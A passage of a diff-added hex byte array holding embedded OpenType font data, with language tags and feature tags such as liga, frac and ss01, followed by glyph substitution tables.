0x04, + 0x00, 0x05, 0x00, 0x06, 0x00, 0x07, 0x00, 0x08, + 0x00, 0x09, 0x00, 0x0A, 0x00, 0x0B, 0x00, 0x0C, + 0x00, 0x0D, 0x00, 0x0E, 0x00, 0x0F, 0x00, 0x10, + 0x00, 0x11, 0x00, 0x12, 0x00, 0x13, 0x00, 0x14, + 0x00, 0x15, 0x00, 0x0A, 0x00, 0x01, 0x53, 0x52, + 0x42, 0x20, 0x00, 0x0A, 0x00, 0x00, 0xFF, 0xFF, + 0x00, 0x16, 0x00, 0x00, 0x00, 0x01, 0x00, 0x02, + 0x00, 0x03, 0x00, 0x04, 0x00, 0x05, 0x00, 0x06, + 0x00, 0x07, 0x00, 0x08, 0x00, 0x09, 0x00, 0x0A, + 0x00, 0x0B, 0x00, 0x0C, 0x00, 0x0D, 0x00, 0x0E, + 0x00, 0x0F, 0x00, 0x10, 0x00, 0x11, 0x00, 0x12, + 0x00, 0x13, 0x00, 0x14, 0x00, 0x15, 0x00, 0x04, + 0x00, 0x00, 0x00, 0x00, 0xFF, 0xFF, 0x00, 0x16, + 0x00, 0x00, 0x00, 0x01, 0x00, 0x02, 0x00, 0x03, + 0x00, 0x04, 0x00, 0x05, 0x00, 0x06, 0x00, 0x07, + 0x00, 0x08, 0x00, 0x09, 0x00, 0x0A, 0x00, 0x0B, + 0x00, 0x0C, 0x00, 0x0D, 0x00, 0x0E, 0x00, 0x0F, + 0x00, 0x10, 0x00, 0x11, 0x00, 0x12, 0x00, 0x13, + 0x00, 0x14, 0x00, 0x15, 0x00, 0x28, 0x00, 0x06, + 0x41, 0x5A, 0x45, 0x20, 0x00, 0x28, 0x43, 0x52, + 0x54, 0x20, 0x00, 0x28, 0x44, 0x45, 0x55, 0x20, + 0x00, 0x28, 0x4D, 0x4F, 0x4C, 0x20, 0x00, 0x28, + 0x52, 0x4F, 0x4D, 0x20, 0x00, 0x28, 0x54, 0x52, + 0x4B, 0x20, 0x00, 0x28, 0x00, 0x00, 0xFF, 0xFF, + 0x00, 0x16, 0x00, 0x00, 0x00, 0x01, 0x00, 0x02, + 0x00, 0x03, 0x00, 0x04, 0x00, 0x05, 0x00, 0x06, + 0x00, 0x07, 0x00, 0x08, 0x00, 0x09, 0x00, 0x0A, + 0x00, 0x0B, 0x00, 0x0C, 0x00, 0x0D, 0x00, 0x0E, + 0x00, 0x0F, 0x00, 0x10, 0x00, 0x11, 0x00, 0x12, + 0x00, 0x13, 0x00, 0x14, 0x00, 0x15, 0x00, 0x16, + 0x61, 0x61, 0x6C, 0x74, 0x00, 0x86, 0x63, 0x32, + 0x73, 0x63, 0x00, 0x8E, 0x63, 0x61, 0x73, 0x65, + 0x00, 0x98, 0x63, 0x73, 0x77, 0x68, 0x00, 0x9E, + 0x64, 0x6C, 0x69, 0x67, 0x00, 0xA4, 0x64, 0x6E, + 0x6F, 0x6D, 0x00, 0xAA, 0x66, 0x72, 0x61, 0x63, + 0x00, 0xB0, 0x68, 0x69, 0x73, 0x74, 0x00, 0xBA, + 0x6C, 0x69, 0x67, 0x61, 0x00, 0xC0, 0x6C, 0x6E, + 0x75, 0x6D, 0x00, 0xC6, 0x6E, 0x75, 0x6D, 0x72, + 0x00, 0xCC, 0x6F, 0x6E, 0x75, 0x6D, 0x00, 0xD2, + 0x6F, 0x72, 0x64, 0x6E, 0x00, 0xD8, 0x70, 0x6E, + 0x75, 0x6D, 0x00, 0xDE, 0x73, 0x69, 0x6E, 0x66, + 0x00, 0xE4, 0x73, 0x6D, 0x63, 0x70, 0x00, 0xEA, + 0x73, 0x73, 0x30, 0x31, 0x00, 0xF6, 0x73, 0x73, + 0x30, 0x32, 0x00, 0xFC, 0x73, 0x75, 0x62, 0x73, + 0x01, 0x02, 0x73, 0x75, 0x70, 0x73, 0x01, 0x08, + 0x74, 0x6E, 0x75, 0x6D, 0x01, 0x10, 0x7A, 0x65, + 0x72, 0x6F, 0x01, 0x16, 0x00, 0x00, 0x00, 0x02, + 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x03, + 0x00, 0x0B, 0x00, 0x0C, 0x00, 0x0D, 0x00, 0x00, + 0x00, 0x01, 0x00, 0x02, 0x00, 0x00, 0x00, 0x01, + 0x00, 0x0A, 0x00, 0x00, 0x00, 0x01, 0x00, 0x17, + 0x00, 0x00, 0x00, 0x01, 0x00, 0x04, 0x00, 0x00, + 0x00, 0x03, 0x00, 0x03, 0x00, 0x05, 0x00, 0x06, + 0x00, 0x00, 0x00, 0x01, 0x00, 0x16, 0x00, 0x00, + 0x00, 0x01, 0x00, 0x15, 0x00, 0x00, 0x00, 0x01, + 0x00, 0x10, 0x00, 0x00, 0x00, 0x01, 0x00, 0x03, + 0x00, 0x00, 0x00, 0x01, 0x00, 0x0C, 0x00, 0x00, + 0x00, 0x01, 0x00, 0x07, 0x00, 0x00, 0x00, 0x01, + 0x00, 0x11, 0x00, 0x00, 0x00, 0x01, 0x00, 0x09, + 0x00, 0x00, 0x00, 0x04, 0x00, 0x0C, 0x00, 0x0D, + 0x00, 0x0E, 0x00, 0x0F, 0x00, 0x00, 0x00, 0x01, + 0x00, 0x13, 0x00, 0x00, 0x00, 0x01, 0x00, 0x14, + 0x00, 0x00, 0x00, 0x01, 0x00, 0x09, 0x00, 0x00, + 0x00, 0x02, 0x00, 0x07, 0x00, 0x08, 0x00, 0x00, + 0x00, 0x01, 0x00, 0x12, 0x00, 0x00, 0x00, 0x01, + 0x00, 0x18, 0x00, 0x1A, 0x00, 0x36, 0x00, 0x3E, + 0x00, 0x46, 0x00, 0x4E, 0x00, 0x56, 0x00, 0x5E, + 0x00, 0x66, 0x00, 0x70, 0x00, 0x78, 0x00, 0x80, + 0x00, 0x88, 0x00, 0x94, 0x00, 0x9C, 0x00, 0xA4, + 0x00, 0xAC, 0x00, 0xB4, 0x00, 0xBC, 0x00, 0xC4, + 0x00, 0xCC, 0x00, 0xD4, 0x00, 0xDC, 0x00, 0xE6, + 0x00, 0xEE, 0x00, 0xF6, 0x00, 0xFE, 0x01, 0x06, + 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0xD8, + 0x00, 0x03, 0x00, 0x00, 0x00, 0x01, 0x02, 0xF6, + 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x0B, 0x56, + 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x0B, 0xD8, + 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x0C, 0x1A, + 0x00, 0x06, 0x00, 0x00, 0x00, 0x01, 0x0C, 0x5C, + 0x00, 0x06, 0x00, 0x00, 0x00, 0x02, 0x0C, 0x78, + 0x0C, 0xB0, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, + 0x0C, 0xDE, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, + 0x0D, 0x10, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, + 0x0D, 0x26, 0x00, 0x06, 0x00, 0x00, 0x00, 0x03, + 0x0D, 0x3C, 0x0F, 0x32, 0x11, 0x28, 0x00, 0x01, + 0x00, 0x00, 0x00, 0x01, 0x12, 0x20, 0x00, 0x01, + 0x00, 0x00, 0x00, 0x01, 0x14, 0x12, 0x00, 0x01, + 0x00, 0x00, 0x00, 0x01, 0x14, 0x54, 0x00, 0x01, + 0x00, 0x00, 0x00, 0x01, 0x14, 0x60, 0x00, 0x01, + 0x00, 0x00, 0x00, 0x01, 0x16, 0x56, 0x00, 0x01, + 0x00, 0x00, 0x00, 0x01, 0x16, 0x9C, 0x00, 0x01, + 0x00, 0x00, 0x00, 0x01, 0x16, 0xCC, 0x00, 0x01, + 0x00, 0x00, 0x00, 0x01, 0x17, 0x46, 0x00, 0x01, + 0x00, 0x00, 0x00, 0x01, 0x17, 0xD8, 0x00, 0x06, + 0x00, 0x00, 0x00, 0x02, 0x17, 0xE6, 0x18, 0x66, + 0x00, 0x04, 0x00, 0x00, 0x00, 0x01, 0x18, 0x7A, + 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x19, 0x74, + 0x00, 0x04, 0x00, 0x00, 0x00, 0x01, 0x19, 0x78, + 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x19, 0xAE, + 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x19, 0xB8, + 0x00, 0x02, 0x01, 0x14, 0x00, 0x87, 0x96, 0xF9, + 0x96, 0x1A, 0x96, 0xFE, 0x97, 0x17, 0x96, 0x0B, + 0x96, 0x88, 0x96, 0x89, 0x97, 0x3B, 0x97, 0x3E, + 0x97, 0x42, 0x97, 0x48, 0x97, 0x49, 0x97, 0x4D, + 0x97, 0x4E, 0x97, 0x4F, 0x97, 0x50, 0x97, 0x51, + 0x97, 0x52, 0x96, 0x8A, 0x96, 0x8B, 0x96, 0x8E, + 0x96, 0x95, 0x96, 0x8F, 0x7F, 0xDA, 0x80, 0x9F, + 0x80, 0xF6, 0x97, 0xB8, 0x97, 0xB9, 0x97, 0xBA, + 0x97, 0xBB, 0x97, 0xBC, 0x97, 0xBD, 0x97, 0xBE, + 0x97, 0xBF, 0x97, 0xC1, 0x97, 0xC2, 0x97, 0xC3, + 0x97, 0xC4, 0x97, 0xC5, 0x97, 0xC6, 0x97, 0xC7, + 0x97, 0xC8, 0x97, 0xC9, 0x97, 0xCA, 0x97, 0xCB, + 0x97, 0xCC, 0x97, 0xCD, 0x97, 0xCE, 0x97, 0xD0, + 0x97, 0xD1, 0x97, 0xD2, 0x97, 0xD3, 0x97, 0xD4, + 0x97, 0xD5, 0x97, 0xD6, 0x97, 0xD7, 0x96, 0x46, + 0x96, 0x45, 0x96, 0x47, 0x96, 0x49, 0x96, 0x4B, + 0x96, 0x4C, 0x96, 0x4A, 0x96, 0x4D, 0x96, 0x4E, + 0x96, 0x52, 0x96, 0x4F, 0x96, 0x51, 0x96, 0x54, + 0x96, 0x50, 0x96, 0x56, 0x96, 0x55, 0x96, 0x58, + 0x96, 0x57, 0x96, 0x5A, 0x96, 0x59, 0x96, 0x5F, + 0x96, 0x5D, 0x96, 0x5B, 0x96, 0x5E, 0x80, 0xE0, + 0x96, 0x5C, 0x96, 0x60, 0x96, 0x61, 0x96, 0x62, + 0x96, 0x64, 0x96, 0x63, 0x96, 0x65, 0x80, 0x57, + 0x96, 0xD1, 0x96, 0x66, 0x96, 0x68, 0x96, 0x67, + 0x96, 0x53, 0x96, 0x6B, 0x96, 0x69, 0x96, 0x6A, + 0x80, 0x66, 0x96, 0xD2, 0x96, 0x6D, 0x96, 0x6F, + 0x96, 0x6E, 0x96, 0x70, 0x96, 0x72, 0x96, 0xD5, + 0x96, 0x76, 0x96, 0x75, 0x96, 0x74, 0x96, 0x7C, + 0x96, 0x79, 0x96, 0x77, 0x96, 0x7B, 0x96, 0x78, + 0x96, 0x7A, 0x96, 0x7E, 0x96, 0x81, 0x96, 0x83, + 0x96, 0x84, 0x96, 0xD7, 0x81, 0xF1, 0x81, 0xF9, + 0x80, 0x98, 0x80, 0x95, 0x80, 0x97, 0x82, 0xE5, + 0x82, 0xE7, 0x82, 0xE9, 0x82, 0xEB, 0x82, 0xEF, + 0x82, 0xF1, 0x00, 0x16, 0x96, 0x0D, 0x96, 0xA9, + 0x96, 0xAA, 0x96, 0xAB, 0x00, 0x01, 0x00, 0x87, + 0x00, 0x12, 0x00, 0x16, 0x00, 0x17, 0x00, 0x30, + 0x00, 0x31, 0x00, 0x4C, 0x00, 0x4E, 0x00, 0x54, + 0x00, 0x57, 0x00, 0x5B, 0x00, 0x61, 0x00, 0x62, + 0x00, 0x66, 0x00, 0x67, 0x00, 0x68, 0x00, 0x69, + 0x00, 0x6A, 0x00, 0x6B, 0x00, 0x6C, 0x00, 0x6E, + 0x00, 0x9C, 0x00, 0xA8, 0x00, 0xAC, 0x00, 0xB7, + 0x00, 0xCF, 0x00, 0xD0, 0x00, 0xD1, 0x00, 0xD2, + 0x00, 0xD3, 0x00, 0xD4, 0x00, 0xD5, 0x00, 0xD6, + 0x00, 0xD7, 0x00, 0xD8, 0x00, 0xDA, 0x00, 0xDB, + 0x00, 0xDC, 0x00, 0xDD, 0x00, 0xDE, 0x00, 0xDF, + 0x00, 0xE0, 0x00, 0xE1, 0x00, 0xE2, 0x00, 0xE3, + 0x00, 0xE4, 0x00, 0xE5, 0x00, 0xE6, 0x00, 0xE7, + 0x00, 0xE9, 0x00, 0xEA, 0x00, 0xEB, 0x00, 0xEC, + 0x00, 0xED, 0x00, 0xEE, 0x00, 0xEF, 0x00, 0xF0, + 0x00, 0xF2, 0x00, 0xF4, 0x00, 0xF6, 0x00, 0xF8, + 0x00, 0xFA, 0x00, 0xFC, 0x00, 0xFE, 0x01, 0x00, + 0x01, 0x02, 0x01, 0x04, 0x01, 0x06, 0x01, 0x08, + 0x01, 0x0A, 0x01, 0x0C, 0x01, 0x0E, 0x01, 0x10, + 0x01, 0x12, 0x01, 0x14, 0x01, 0x16, 0x01, 0x18, + 0x01, 0x1A, 0x01, 0x1C, 0x01, 0x1E, 0x01, 0x20, + 0x01, 0x22, 0x01, 0x24, 0x01, 0x26, 0x01, 0x28, + 0x01, 0x2B, 0x01, 0x2D, 0x01, 0x2F, 0x01, 0x31, + 0x01, 0x32, 0x01, 0x33, 0x01, 0x35, 0x01, 0x37, + 0x01, 0x39, 0x01, 0x3C, 0x01, 0x3E, 0x01, 0x40, + 0x01, 0x42, 0x01, 0x43, 0x01, 0x44, 0x01, 0x46, + 0x01, 0x48, 0x01, 0x4A, 0x01, 0x4C, 0x01, 0x4E, + 0x01, 0x52, 0x01, 0x54, 0x01, 0x56, 0x01, 0x58, + 0x01, 0x5A, 0x01, 0x5C, 0x01, 0x5E, 0x01, 0x60, + 0x01, 0x62, 0x01, 0x64, 0x01, 0x66, 0x01, 0x68, + 0x01, 0x6B, 0x01, 0x6D, 0x01, 0x6F, 0x01, 0x92, + 0x01, 0xA1, 0x80, 0x93, 0x80, 0x94, 0x80, 0x96, + 0x82, 0xE4, 0x82, 0xE6, 0x82, 0xE8, 0x82, 0xEA, + 0x82, 0xEE, 0x82, 0xF0, 0x96, 0x1A, 0x96, 0x9B, + 0x96, 0xAC, 0x96, 0xAD, 0x96, 0xAE, 0x00, 0x01, + 0x06, 0xD2, 0x00, 0xC9, 0x01, 0x98, 0x01, 0xA0, + 0x01, 0xB0, 0x01, 0xBA, 0x01, 0xC0, 0x01, 0xC6, + 0x01, 0xCC, 0x01, 0xD2, 0x01, 0xD8, 0x01, 0xDE, + 0x01, 0xE4, 0x01, 0xEA, 0x01, 0xF0, 0x01, 0xF6, + 0x01, 0xFE, 0x02, 0x04, 0x02, 0x0A, 0x02, 0x10, + 0x02, 0x16, 0x02, 0x1C, 0x02, 0x22, 0x02, 0x2A, + 0x02, 0x30, 0x02, 0x36, 0x02, 0x3C, 0x02, 0x42, + 0x02, 0x48, 0x02, 0x4E, 0x02, 0x54, 0x02, 0x5A, + 0x02, 0x60, 0x02, 0x66, 0x02, 0x6C, 0x02, 0x74, + 0x02, 0x7A, 0x02, 0x80, 0x02, 0x86, 0x02, 0x8C, + 0x02, 0x94, 0x02, 0x9C, 0x02, 0xA4, 0x02, 0xAA, + 0x02, 0xB0, 0x02, 0xC0, 0x02, 0xC8, 0x02, 0xD0, + 0x02, 0xD6, 0x02, 0xDC, 0x02, 0xE2, 0x02, 0xE8, + 0x02, 0xEE, 0x02, 0xF4, 0x02, 0xFA, 0x03, 0x00, + 0x03, 0x06, 0x03, 0x0C, 0x03, 0x12, 0x03, 0x18, + 0x03, 0x1E, 0x03, 0x24, 0x03, 0x2A, 0x03, 0x30, + 0x03, 0x36, 0x03, 0x3C, 0x03, 0x42, 0x03, 0x48, + 0x03, 0x4E, 0x03, 0x54, 0x03, 0x5A, 0x03, 0x60, + 0x03, 0x66, 0x03, 0x6C, 0x03, 0x72, 0x03, 0x78, + 0x03, 0x7E, 0x03, 0x84, 0x03, 0x8A, 0x03, 0x90, + 0x03, 0x96, 0x03, 0x9C, 0x03, 0xA2, 0x03, 0xA8, + 0x03, 0xAE, 0x03, 0xB4, 0x03, 0xBA, 0x03, 0xC0, + 0x03, 0xC6, 0x03, 0xCC, 0x03, 0xD2, 0x03, 0xD8, + 0x03, 0xDE, 0x03, 0xE4, 0x03, 0xEA, 0x03, 0xF0, + 0x03, 0xF6, 0x03, 0xFC, 0x04, 0x02, 0x04, 0x08, + 0x04, 0x0E, 0x04, 0x14, 0x04, 0x1A, 0x04, 0x20, + 0x04, 0x26, 0x04, 0x2C, 0x04, 0x32, 0x04, 0x38, + 0x04, 0x3E, 0x04, 0x44, 0x04, 0x4A, 0x04, 0x50, + 0x04, 0x56, 0x04, 0x5C, 0x04, 0x62, 0x04, 0x68, + 0x04, 0x6E, 0x04, 0x74, 0x04, 0x7A, 0x04, 0x80, + 0x04, 0x86, 0x04, 0x8C, 0x04, 0x92, 0x04, 0x98, + 0x04, 0x9E, 0x04, 0xA4, 0x04, 0xAA, 0x04, 0xB0, + 0x04, 0xB6, 0x04, 0xBC, 0x04, 0xC2, 0x04, 0xC8, + 0x04, 0xCE, 0x04, 0xD4, 0x04, 0xDA, 0x04, 0xE0, + 0x04, 0xE6, 0x04, 0xEC, 0x04, 0xF2, 0x04, 0xF8, + 0x04, 0xFE, 0x05, 0x06, 0x05, 0x0C, 0x05, 0x12, + 0x05, 0x1A, 0x05, 0x22, 0x05, 0x2A, 0x05, 0x32, + 0x05, 0x36, 0x05, 0x3A, 0x05, 0x42, 0x05, 0x4A, + 0x05, 0x52, 0x05, 0x5A, 0x05, 0x60, 0x05, 0x66, + 0x05, 0x6C, 0x05, 0x72, 0x05, 0x78, 0x05, 0x7E, + 0x05, 0x84, 0x05, 0x8A, 0x05, 0x90, 0x05, 0x96, + 0x05, 0x9C, 0x05, 0xA6, 0x05, 0xAE, 0x05, 0xB6, + 0x05, 0xBE, 0x05, 0xC6, 0x05, 0xCE, 0x05, 0xD6, + 0x05, 0xDE, 0x05, 0xE6, 0x05, 0xEE, 0x05, 0xF6, + 0x05, 0xFE, 0x06, 0x06, 0x06, 0x0E, 0x06, 0x16, + 0x06, 0x1E, 0x06, 0x26, 0x06, 0x2E, 0x06, 0x36, + 0x06, 0x3E, 0x06, 0x44, 0x06, 0x4C, 0x06, 0x54, + 0x06, 0x5C, 0x06, 0x64, 0x06, 0x6A, 0x06, 0x72, + 0x06, 0x7A, 0x06, 0x82, 0x06, 0x8A, 0x06, 0x92, + 0x06, 0x9A, 0x06, 0xA2, 0x06, 0xAA, 0x06, 0xB2, + 0x06, 0xBA, 0x06, 0xC2, 0x06, 0xCA, 0x00, 0x03, + 0x81, 0x06, 0x96, 0x28, 0x81, 0x05, 0x00, 0x07, + 0x96, 0xFC, 0x80, 0xDF, 0x96, 0x2B, 0x96, 0x07, + 0x96, 0x02, 0x96, 0xBC, 0x96, 0xBB, 0x00, 0x04, + 0x96, 0x43, 0x96, 0x37, 0x96, 0xBA, 0x96, 0xB9, + 0x00, 0x02, 0x7F, 0xD9, 0x7F, 0xD8, 0x00, 0x02, + 0x7F, 0xEF, 0x7F, 0xEE, 0x00, 0x02, 0x7F, 0xF1, + 0x7F, 0xF0, 0x00, 0x02, 0x7F, 0xFD, 0x7F, 0xFC, + 0x00, 0x02, 0x80, 0x03, 0x80, 0x02, 0x00, 0x02, + 0x80, 0x1D, 0x80, 0x1C, 0x00, 0x02, 0x80, 0x1F, + 0x80, 0x1E, 0x00, 0x02, 0x80, 0x29, 0x80, 0x28, + 0x00, 0x02, 0x80, 0x2F, 0x80, 0x2E, 0x00, 0x02, + 0x80, 0x45, 0x80, 0x44, 0x00, 0x03, 0x80, 0x4A, + 0x80, 0x49, 0x80, 0x48, 0x00, 0x02, 0x80, 0x4E, + 0x80, 0x4D, 0x00, 0x02, 0x80, 0x59, 0x80, 0x58, + 0x00, 0x02, 0x80, 0x5B, 0x80, 0x5A, 0x00, 0x02, + 0x80, 0x65, 0x80, 0x64, 0x00, 0x02, 0x80, 0x7C, + 0x80, 0x7B, 0x00, 0x02, 0x80, 0x7E, 0x80, 0x7D, + 0x00, 0x03, 0x80, 0x81, 0x80, 0x80, 0x80, 0x7F, + 0x00, 0x02, 0x80, 0x8A, 0x80, 0x89, 0x00, 0x02, + 0x80, 0x92, 0x80, 0x91, 0x00, 0x02, 0x80, 0xA1, + 0x80, 0xA0, 0x00, 0x02, 0x80, 0xB7, 0x80, 0xB6, + 0x00, 0x02, 0x80, 0xB9, 0x80, 0xB8, 0x00, 0x02, + 0x80, 0xC3, 0x80, 0xC2, 0x00, 0x02, 0x80, 0xC5, + 0x80, 0xC4, 0x00, 0x02, 0x80, 0xCF, 0x80, 0xCE, + 0x00, 0x02, 0x96, 0xA6, 0x97, 0x38, 0x00, 0x02, + 0x96, 0xC2, 0x97, 0x3A, 0x00, 0x02, 0x96, 0xC3, + 0x97, 0x3C, 0x00, 0x03, 0x80, 0xE1, 0x96, 0xC4, + 0x97, 0x3D, 0x00, 0x02, 0x80, 0xF5, 0x97, 0x3F, + 0x00, 0x02, 0x96, 0x0F, 0x97, 0x40, 0x00, 0x02, + 0x97, 0x43, 0x80, 0xF7, 0x00, 0x02, 0x96, 0xC6, + 0x97, 0x44, 0x00, 0x03, 0x81, 0x03, 0x96, 0xC7, + 0x97, 0x45, 0x00, 0x03, 0x81, 0x2C, 0x96, 0xC9, + 0x97, 0x4A, 0x00, 0x03, 0x96, 0xCA, 0x97, 0x4B, + 0x01, 0x70, 0x00, 0x02, 0x96, 0xCB, 0x97, 0x4C, + 0x00, 0x02, 0x96, 0x8C, 0x97, 0x79, 0x00, 0x07, + 0x97, 0x7A, 0x80, 0xDB, 0x96, 0x2C, 0x96, 0x06, + 0x96, 0x01, 0x96, 0xB8, 0x96, 0xB7, 0x00, 0x03, + 0x81, 0x2F, 0x81, 0x2E, 0x96, 0x29, 0x00, 0x03, + 0x81, 0x55, 0x81, 0x54, 0x96, 0x2A, 0x00, 0x02, + 0x96, 0xA3, 0x97, 0x80, 0x00, 0x02, 0x96, 0xA8, + 0x97, 0x87, 0x00, 0x02, 0x96, 0xA1, 0x97, 0x8C, + 0x00, 0x02, 0x8F, 0xCA, 0x97, 0x90, 0x00, 0x02, + 0x96, 0x8D, 0x97, 0x97, 0x00, 0x02, 0x7F, 0xE5, + 0x7F, 0xE4, 0x00, 0x02, 0x7F, 0xDD, 0x7F, 0xDC, + 0x00, 0x02, 0x7F, 0xE1, 0x7F, 0xE0, 0x00, 0x02, + 0x7F, 0xED, 0x7F, 0xEC, 0x00, 0x02, 0x7F, 0xE3, + 0x7F, 0xE2, 0x00, 0x02, 0x7F, 0xEB, 0x7F, 0xEA, + 0x00, 0x02, 0x7F, 0xF7, 0x7F, 0xF6, 0x00, 0x02, + 0x80, 0x11, 0x80, 0x10, 0x00, 0x02, 0x80, 0x05, + 0x80, 0x04, 0x00, 0x02, 0x80, 0x0B, 0x80, 0x0A, + 0x00, 0x02, 0x80, 0x0D, 0x80, 0x0C, 0x00, 0x02, + 0x80, 0x3D, 0x80, 0x3C, 0x00, 0x02, 0x80, 0x33, + 0x80, 0x32, 0x00, 0x02, 0x80, 0x37, 0x80, 0x36, + 0x00, 0x02, 0x80, 0x39, 0x80, 0x38, 0x00, 0x02, + 0x80, 0x19, 0x80, 0x18, 0x00, 0x02, 0x80, 0x63, + 0x80, 0x62, 0x00, 0x02, 0x80, 0x70, 0x80, 0x6F, + 0x00, 0x02, 0x80, 0x68, 0x80, 0x67, 0x00, 0x02, + 0x80, 0x6C, 0x80, 0x6B, 0x00, 0x02, 0x80, 0x7A, + 0x80, 0x79, 0x00, 0x02, 0x80, 0x6E, 0x80, 0x6D, + 0x00, 0x02, 0x80, 0x76, 0x80, 0x75, 0x00, 0x02, + 0x80, 0xAB, 0x80, 0xAA, 0x00, 0x02, 0x80, 0xA3, + 0x80, 0xA2, 0x00, 0x02, 0x80, 0xA7, 0x80, 0xA6, + 0x00, 0x02, 0x80, 0xA9, 0x80, 0xA8, 0x00, 0x02, + 0x80, 0xC7, 0x80, 0xC6, 0x00, 0x02, 0x80, 0xE2, + 0x97, 0xC0, 0x00, 0x02, 0x7F, 0xE7, 0x7F, 0xE6, + 0x00, 0x02, 0x7F, 0xDF, 0x7F, 0xDE, 0x00, 0x02, + 0x7F, 0xE9, 0x7F, 0xE8, 0x00, 0x02, 0x7F, 0xF3, + 0x7F, 0xF2, 0x00, 0x02, 0x7F, 0xF9, 0x7F, 0xF8, + 0x00, 0x02, 0x7F, 0xFB, 0x7F, 0xFA, 0x00, 0x02, + 0x7F, 0xF5, 0x7F, 0xF4, 0x00, 0x02, 0x7F, 0xFF, + 0x7F, 0xFE, 0x00, 0x02, 0x80, 0x01, 0x80, 0x00, + 0x00, 0x02, 0x80, 0x13, 0x80, 0x12, 0x00, 0x02, + 0x80, 0x07, 0x80, 0x06, 0x00, 0x02, 0x80, 0x0F, + 0x80, 0x0E, 0x00, 0x02, 0x80, 0x17, 0x80, 0x16, + 0x00, 0x02, 0x80, 0x09, 0x80, 0x08, 0x00, 0x02, + 0x80, 0x23, 0x80, 0x22, 0x00, 0x02, 0x80, 0x21, + 0x80, 0x20, 0x00, 0x02, 0x80, 0x27, 0x80, 0x26, + 0x00, 0x02, 0x80, 0x25, 0x80, 0x24, 0x00, 0x02, + 0x80, 0x2D, 0x80, 0x2C, 0x00, 0x02, 0x80, 0x2B, + 0x80, 0x2A, 0x00, 0x02, 0x80, 0x43, 0x80, 0x42, + 0x00, 0x02, 0x80, 0x3F, 0x80, 0x3E, 0x00, 0x02, + 0x80, 0x35, 0x80, 0x34, 0x00, 0x02, 0x80, 0x41, + 0x80, 0x40, 0x00, 0x02, 0x80, 0x3B, 0x80, 0x3A, + 0x00, 0x02, 0x80, 0x47, 0x80, 0x46, 0x00, 0x02, + 0x80, 0x4C, 0x80, 0x4B, 0x00, 0x02, 0x80, 0x50, + 0x80, 0x4F, 0x00, 0x02, 0x80, 0x54, 0x80, 0x53, + 0x00, 0x02, 0x80, 0x52, 0x80, 0x51, 0x00, 0x02, + 0x80, 0x56, 0x80, 0x55, 0x00, 0x02, 0x80, 0x5D, + 0x80, 0x5C, 0x00, 0x02, 0x80, 0x61, 0x80, 0x60, + 0x00, 0x02, 0x80, 0x5F, 0x80, 0x5E, 0x00, 0x02, + 0x80, 0x15, 0x80, 0x14, 0x00, 0x02, 0x80, 0x74, + 0x80, 0x73, 0x00, 0x02, 0x80, 0x6A, 0x80, 0x69, + 0x00, 0x02, 0x80, 0x72, 0x80, 0x71, 0x00, 0x02, + 0x80, 0x83, 0x80, 0x82, 0x00, 0x02, 0x80, 0x87, + 0x80, 0x86, 0x00, 0x02, 0x80, 0x85, 0x80, 0x84, + 0x00, 0x02, 0x80, 0x8C, 0x80, 0x8B, 0x00, 0x02, + 0x80, 0x90, 0x80, 0x8F, 0x00, 0x02, 0x80, 0x8E, + 0x80, 0x8D, 0x00, 0x02, 0x80, 0x9E, 0x80, 0x9D, + 0x00, 0x02, 0x80, 0x9C, 0x80, 0x9B, 0x00, 0x02, + 0x80, 0x9A, 0x80, 0x99, 0x00, 0x02, 0x80, 0xB5, + 0x80, 0xB4, 0x00, 0x02, 0x80, 0xAF, 0x80, 0xAE, + 0x00, 0x02, 0x80, 0xA5, 0x80, 0xA4, 0x00, 0x02, + 0x80, 0xB3, 0x80, 0xB2, 0x00, 0x02, 0x80, 0xAD, + 0x80, 0xAC, 0x00, 0x02, 0x80, 0xB1, 0x80, 0xB0, + 0x00, 0x02, 0x80, 0xBD, 0x80, 0xBC, 0x00, 0x02, + 0x80, 0xC9, 0x80, 0xC8, 0x00, 0x02, 0x80, 0xCB, + 0x80, 0xCA, 0x00, 0x02, 0x80, 0xD1, 0x80, 0xD0, + 0x00, 0x02, 0x80, 0xD5, 0x80, 0xD4, 0x00, 0x02, + 0x80, 0xD3, 0x80, 0xD2, 0x00, 0x03, 0x80, 0xF1, + 0x80, 0xF0, 0x96, 0x27, 0x00, 0x02, 0x82, 0x51, + 0x82, 0x20, 0x00, 0x02, 0x82, 0x52, 0x82, 0x28, + 0x00, 0x03, 0x00, 0x93, 0x97, 0x7A, 0x96, 0x2C, + 0x00, 0x03, 0x00, 0x15, 0x96, 0xFC, 0x96, 0x2B, + 0x00, 0x03, 0x01, 0x83, 0x80, 0xF1, 0x96, 0x27, + 0x00, 0x03, 0x01, 0x83, 0x80, 0xF0, 0x96, 0x27, + 0x00, 0x01, 0x00, 0x14, 0x00, 0x01, 0x96, 0x28, + 0x00, 0x03, 0x00, 0x94, 0x81, 0x2F, 0x96, 0x29, + 0x00, 0x03, 0x00, 0x94, 0x81, 0x2E, 0x96, 0x29, + 0x00, 0x03, 0x00, 0x96, 0x81, 0x55, 0x96, 0x2A, + 0x00, 0x03, 0x00, 0x96, 0x81, 0x54, 0x96, 0x2A, + 0x00, 0x02, 0x82, 0x3C, 0x82, 0x46, 0x00, 0x02, + 0x82, 0xF8, 0x82, 0x47, 0x00, 0x02, 0x82, 0x3D, + 0x82, 0x48, 0x00, 0x02, 0x82, 0x3E, 0x82, 0x49, + 0x00, 0x02, 0x82, 0x3F, 0x82, 0x4A, 0x00, 0x02, + 0x82, 0x40, 0x82, 0x4B, 0x00, 0x02, 0x82, 0x41, + 0x82, 0x4C, 0x00, 0x02, 0x82, 0x42, 0x82, 0x4D, + 0x00, 0x02, 0x82, 0x43, 0x82, 0x4E, 0x00, 0x02, + 0x82, 0x44, 0x82, 0x4F, 0x00, 0x02, 0x82, 0x45, + 0x82, 0x50, 0x00, 0x04, 0x00, 0x21, 0x97, 0x08, + 0x96, 0x1B, 0x82, 0xDF, 0x00, 0x03, 0x00, 0x23, + 0x97, 